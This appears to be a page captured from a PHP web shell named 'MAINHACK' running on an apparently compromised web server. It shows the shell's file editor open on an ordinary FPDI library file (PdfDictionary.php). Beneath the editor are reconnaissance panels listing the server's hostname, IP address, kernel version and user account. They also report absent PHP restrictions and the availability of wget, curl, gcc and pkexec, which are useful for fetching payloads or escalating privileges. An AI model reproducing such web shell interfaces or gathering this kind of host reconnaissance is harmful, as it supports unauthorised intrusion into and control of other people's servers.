[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PdfDictionary.php
<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2020 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi\PdfParser\Type; use setasign\Fpdi\PdfParser\PdfParser; use setasign\Fpdi\PdfParser\StreamReader; use setasign\Fpdi\PdfParser\Tokenizer; /** * Class representing a PDF dictionary object */ class PdfDictionary extends PdfType { /** * Parses a dictionary of the passed tokenizer, stream-reader and parser. * * @param Tokenizer $tokenizer * @param StreamReader $streamReader * @param PdfParser $parser * @return bool|self * @throws PdfTypeException */ public static function parse(Tokenizer $tokenizer, StreamReader $streamReader, PdfParser $parser) { $entries = []; while (true) { $token = $tokenizer->getNextToken(); if ($token === '>' && $streamReader->getByte() === '>') { $streamReader->addOffset(1); break; } $key = $parser->readValue($token); if ($key === false) { return false; } // ensure the first value to be a Name object if (!($key instanceof PdfName)) { $lastToken = null; // ignore all other entries and search for the closing brackets while (($token = $tokenizer->getNextToken()) !== '>' && $token !== false && $lastToken !== '>') { $lastToken = $token; } if ($token === false) { return false; } break; } $value = $parser->readValue(); if ($value === false) { return false; } if ($value instanceof PdfNull) { continue; } // catch missing value if ($value instanceof PdfToken && $value->value === '>' && $streamReader->getByte() === '>') { $streamReader->addOffset(1); break; } $entries[$key->value] = $value; } $v = new self(); $v->value = $entries; return $v; } /** * Helper method to create an instance. * * @param PdfType[] $entries The keys are the name entries of the dictionary. * @return self */ public static function create(array $entries = []) { $v = new self(); $v->value = $entries; return $v; } /** * Get a value by its key from a dictionary or a default value. * * @param mixed $dictionary * @param string $key * @param PdfType|null $default * @return PdfNull|PdfType * @throws PdfTypeException */ public static function get($dictionary, $key, PdfType $default = null) { $dictionary = self::ensure($dictionary); if (isset($dictionary->value[$key])) { return $dictionary->value[$key]; } return $default === null ? new PdfNull() : $default; } /** * Ensures that the passed value is a PdfDictionary instance. * * @param mixed $dictionary * @return self * @throws PdfTypeException */ public static function ensure($dictionary) { return PdfType::ensureType(self::class, $dictionary, 'Dictionary value expected.'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.69 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002